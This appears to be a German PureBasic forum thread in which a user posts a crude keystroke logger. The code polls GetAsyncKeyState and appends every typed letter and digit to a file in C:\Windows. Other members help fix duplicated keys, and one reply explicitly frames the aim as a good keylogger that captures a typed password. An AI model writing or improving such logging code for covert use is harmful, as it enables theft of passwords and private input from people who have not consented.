Seite 2 von 3

Verfasst: 23.12.2006 19:10
von kiki
Und wie gehts unter PB 4.02??

Verfasst: 21.06.2008 16:42
von Joel
Ok, hier mal ein Code; der Code fragt, die Tastendrücke ab, und speichert die in einer TXT Datei, aber manchmal speichert er die Taste 2mal also "mm" wenn ich auf m drücke und wenn ich das Delay höher setze garnicht. Wie schaffe ich es, dass der buchstabe nur einmal pro tastendruck in der Datei steht, egal wie lange ich die Taste drücke.

Code: Alles auswählen

Procedure Key() 
   For n=0 To 255 
      If GetAsyncKeyState_(n) 
         ProcedureReturn n 
      EndIf 
   Next 
EndProcedure

Tasten = 0
CreateFile(2, "C:\Windows\tastus.txt")

Repeat 
If Key() = #VK_A 
    WriteString(2, "A")
    Tasten = 1
EndIf


If Key() = #VK_B 
    WriteString(2, "B")
    Tasten = 1
EndIf

If Key() = #VK_C 
    WriteString(2, "C")
    Tasten = 1
EndIf


If Key() = #VK_D 
    WriteString(2, "D")
    Tasten = 1
EndIf

If Key() = #VK_E 
    WriteString(2, "E")
    Tasten = 1
EndIf


If Key() = #VK_F 
    WriteString(2, "F")
    Tasten = 1
EndIf

If Key() = #VK_G 
    WriteString(2, "G")
    Tasten = 1
EndIf


If Key() = #VK_H 
    WriteString(2, "H")
    Tasten = 1
EndIf

If Key() = #VK_I 
    WriteString(2, "I")
    Tasten = 1
EndIf


If Key() = #VK_J 
    WriteString(2, "J")
    Tasten = 1
EndIf

If Key() = #VK_K 
    WriteString(2, "K")
    Tasten = 1
EndIf


If Key() = #VK_L 
    WriteString(2, "L")
    Tasten = 1
EndIf

If Key() = #VK_M 
    WriteString(2, "M")
    Tasten = 1
EndIf


If Key() = #VK_N 
    WriteString(2, "N")
    Tasten = 1
EndIf

If Key() = #VK_O 
    WriteString(2, "O")
    Tasten = 1
EndIf


If Key() = #VK_P 
    WriteString(2, "P")
    Tasten = 1
EndIf

If Key() = #VK_Q 
    WriteString(2, "Q")
    Tasten = 1
EndIf


If Key() = #VK_R 
    WriteString(2, "R")
    Tasten = 1
EndIf

If Key() = #VK_S 
    WriteString(2, "S")
    Tasten = 1
EndIf


If Key() = #VK_T 
    WriteString(2, "T")
    Tasten = 1
EndIf

If Key() = #VK_U 
    WriteString(2, "U")
    Tasten = 1
EndIf


If Key() = #VK_V 
    WriteString(2, "V")
    Tasten = 1
EndIf

If Key() = #VK_W 
    WriteString(2, "W")
    Tasten = 1
EndIf

If Key() = #VK_X
    WriteString(2, "X")
    Tasten = 1
EndIf

If Key() = #VK_Y 
    WriteString(2, "Y")
    Tasten = 1
EndIf

If Key() = #VK_Z 
    WriteString(2, "Z")
    Tasten = 1
EndIf

If Key() = #VK_0 
    WriteString(2, "0")
    Tasten = 1
EndIf

If Key() = #VK_1 
    WriteString(2, "1")
    Tasten = 1
EndIf

If Key() = #VK_2
    WriteString(2, "2")
    Tasten = 1
EndIf

If Key() = #VK_3 
    WriteString(2, "3")
    Tasten = 1
EndIf

If Key() = #VK_4 
    WriteString(2, "4")
    Tasten = 1
EndIf

If Key() = #VK_5 
    WriteString(2, "5")
    Tasten = 1
EndIf

If Key() = #VK_6
    WriteString(2, "6")
    Tasten = 1
EndIf

If Key() = #VK_7 
    WriteString(2, "7")
    Tasten = 1
EndIf

If Key() = #VK_8 
    WriteString(2, "8")
    Tasten = 1
EndIf

If Key() = #VK_9 
    WriteString(2, "9")
    Tasten = 1
EndIf

Forever

Verfasst: 21.06.2008 17:06
von Kaeru Gaman
grundsätzlich: diese verfahrensweise ist eigentlich gänzlich ungeeignet,
weil jeder aufruf von GetAsyncKeystate das Keyboard komplett abfragt.
mach lieber einen Aufruf von GetKeyboardState,
und check den Buffer, den du zurückbekommst durch.

konkret:
der Rückgabewert ist zwar immer <>0 wenn eine Taste gedrückt ist,
aber er variiert je nachdem, ob eine taste gerade gedrückt wurde oder weiterhin gedrückt ist.

Verfasst: 21.06.2008 17:08
von Joel
Gibt es noch eine Funktion mit die erkannt, wann die Taste degrckt wurde und wann sie wieder losgelassen wird?

Verfasst: 21.06.2008 17:13
von Kaeru Gaman
schau doch mal in die MSDN oder zumindest in die Win32.hlp

GetAsyncKeystate fragt tasten "roh" ab, dann gibts glaubich noch GetKeystate,
die fragt nach den "Filtern" ab, also z.b. wenn die Maustasten vertauscht sind.

und GetKeyboardstate füllt dir in einer einzigen abfrage einen 256byte-Buffer mit dem Status aller Tasten.
das ist für sowas weit besser geeignet, als drei dutzend aufrufe von GetAsyncKeystate.

btw. wenn du mit nem screen arbeitest, brauchst du das natürlich garnicht,
aber das weißt du wahrscheinlich.

Verfasst: 21.06.2008 17:24
von Joel
Leider gibt es da aber noch das Problem, dass die Tasten mehrmals in der TXT Datei stehen.

Verfasst: 21.06.2008 17:48
von Kaeru Gaman
deswegen sagte ich dir doch, der Rückgabewert unterscheidet sich,
je nachdem ob das die erste Abfrage ist bei der die Taste gedrückt wird,
oder ob sie weiterhin gedrückt ist.

dem hinweis solltest du also mal nachgehen, indem du die rückgabewerte debuggen läßt und dir anschaust.

weitergehend halte ich es für möglich, dass es mit Einzelabfragen nicht richtig funktioniert.
möglicher Weise erhält eine Taste den Status "noch gedrückt",
weil sie während der Abfrage einer anderen Taste schon gedrückt war.

auch aber nicht nur deswegen ist es sinnvoll, sich GetKeyboardState mal anzusehen.

ansonsten musst du dir halt ein eigenes Array anlegen, wo du notierst,
ob die taste bei der letzten abfrage gedrückt war oder nicht,
eine Art Flag-Tabelle eben.

aber das ist eigentlich vergeblicher Aufwand, weil du dir ein Tasten-Array direkt von der API befüllen lassen kannst.

Verfasst: 05.07.2008 11:48
von Xaby
Die Funktion von AND51 ist auch unsauber programmiert.

Es sollte nur einmal ein Rückgabewert ausgegeben werden.
Theoretisch hat AND51 256 Rückgabewerte, wenn man nur schnell genug drückt. Klar springt die Prozedur bei ProcedureReturn aus der Prozedur heraus, aber genau das ist nicht schön.

Besser wäre eine While Not(Bedingung) or n>255 ... wend
Und nach dem Wend dann erst das Resultat zurück geben.

Immer diese KeyLocker :?

>>>>>>>>>>

Wo wir mal beim Thema sind ...

Code: Alles auswählen

 If GetAsyncKeyState_(#VK_LBUTTON) 
        Debug "links"
      EndIf
      If GetAsyncKeyState_(#VK_RBUTTON) 
        Debug "rechts"
      EndIf
      If GetAsyncKeyState_(#VK_MBUTTON) 
        Debug "Mitte"
      EndIf
In einer Event-Schleife ... selbst mit WindowEvent() statt WaitWindowEvent() ... funktioniert es nur, so lange ich innerhalb des Fensters klicke.

:oops:

Verfasst: 07.07.2008 09:45
von Brügge
moin!

die Frage ist doch, wie möchte er seine Tasen gespeichert haben:

1. mit zeit(die Taste wurde 3s lang gedrückt)
2. einfach nur ein druck egal wie lang
oder mehr als ein druck...

für einen guten keylogger ist natürlich auch wichtig wie lange etwas gedrückt wurde...

z.B.

ich gebe ein Passwort ein: das pw ist "1111123456" jetzt drücke ich die "1" 2s lang dann steht dort "11111" jetzt drücke ich die anderen tasten...

der keyloagger wird dann aber nur 123456 ausgeben... (hat den Test nicht bestanden)

die frage ist immer, wofür braucht man die tasten?

MFG brügge

PS: ich würde eine structure jeder einzelnen taste machen, die beinhaltet, ob 1. die taste gedrückt ist, 2. welche nummer die taste hat und 3. den tastennamen.
dann haste nicht mehr das problem:(die taste wurde 2mal aufgeschrieben),denn du kannst abfragen, ob die taste schon gedrückt war oder nicht.

Verfasst: 07.07.2008 12:15
von Bisonte
hmmm aber wenn es denn ein "Keylocker" sein soll, ist es doch sinnfrei die
tasten nur einmal in der datei zu haben.

aber soetwas ist nicht nur als Keylogger interessant sondern auch für nen
anständigen Texteditor mit Undo Funktion.... oder nicht ?

Aber wenn jemand 3 Sek. auf 1 drückt, und dann sieht derjenige "Oh, da sind 4 einsen zuviel" backspace und dann stimmts mit den 8 einsen....

und in der txt steht dann nur 1<BackSpace> ....

Stimmt dann ja nicht wirklich .... oder ?